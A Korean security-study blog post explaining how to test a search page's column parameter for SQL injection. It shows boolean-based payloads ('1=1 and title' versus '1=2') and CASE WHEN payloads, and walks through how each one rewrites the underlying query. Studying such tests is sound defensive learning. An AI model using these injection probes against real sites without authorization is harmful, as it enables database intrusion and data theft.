Oh! JUN
검색 기능의 컬럼 파라미터에 대한 올바른 취약점 점검 방법 본문
검색 기능의 입력 파라미터뿐만 아니라 컬럼을 구분을 구분해주는 파라미터에서도 취약점을 찾을 수 있다.
search_type=all&keyword=test을 쿼리문으로 보면
select * from board where all like '%test%' 구조로 예측을 할 수 있다.
search_type=1=1+and+title&keyword=test 을 쿼리문으로 바꾸면
select * from board where 1=1 and title like '%test%'
1=1은 참
title like '%test%' title에 test가 있으니까 참
전체 쿼리문은 참
그래서 이미지 오른쪽 Response에 test문이 검색된걸 확인할 수 있다.
search_type=1=2+and+title&keyword=test 을 쿼리문으로 바꾸면
select * from board where 1=2 and title like '%test%'
1=2은 거짓
title like '%test%' title에 test가 있으니까 참
전체 쿼리문은 거짓
그래서 이미지 오른쪽 Response에 test문이 검색되지 않았음을 확인할 수 있다.
case when 구문을 사용해서도 취약점 점검을 할 수 있다.
search_type=(case+when+1=1+then+title+else+'zzzz'+end)&keyword=test 쿼리문으로 바꾸면
select * from board where (case+when+1=1+then+title+else+'zzzz'+end) like '%test%'
1=1이 참이니까 title 수렴한다.
결국 title like '%test%' 검색
search_type=(case+when+1=2+then+title+else+'zzzz'+end)&keyword=test 쿼리문으로 바꾸면
select * from board where (case+when+1=2+then+title+else+'zzzz'+end) like '%test%'
1=2이 거짓이니까 'zzzz'(의미없는 컬럼) 수렴한다.
결국 'zzzz' like '%test%' 다른 값이니까 검색되지 않음
* 주의할 점
title과 'zzzz'의 작은따움표의 유무는
title은 search_type에서 설정된 제목(title)을 검색하는 기능적인 역할을 하는거고
'zzzz'은 아무런 기능없이 zzzz라는 문자 그 자체를 뜻한다.
그래서 'zzzz'를 따움표없이하면 오류가 뜬다.(zzzz는 아무런 기능을 할당하지 않았으니까)
임의로 문자를 주고 단순히 test랑 같지 않다라는 것을 보여줄려는 의도이다.('zzzz' like '%test%')
'웹 해킹 > SQL Injection' 카테고리의 다른 글
데이터 조회 공격(환경 분석 실습) (0) | 2022.08.12 |
---|---|
인증 우회 공격을 통한 타 사용자 게시글 무단 수정, 삭제 실습 (0) | 2022.08.10 |
인증 우회 공격을 통한 비밀 게시글 무단 열람 실습 (0) | 2022.08.09 |
인증 우회 공격 실습 (0) | 2022.08.08 |
검색 기능에 대한 올바른 취약점 점검 방법 (0) | 2022.08.04 |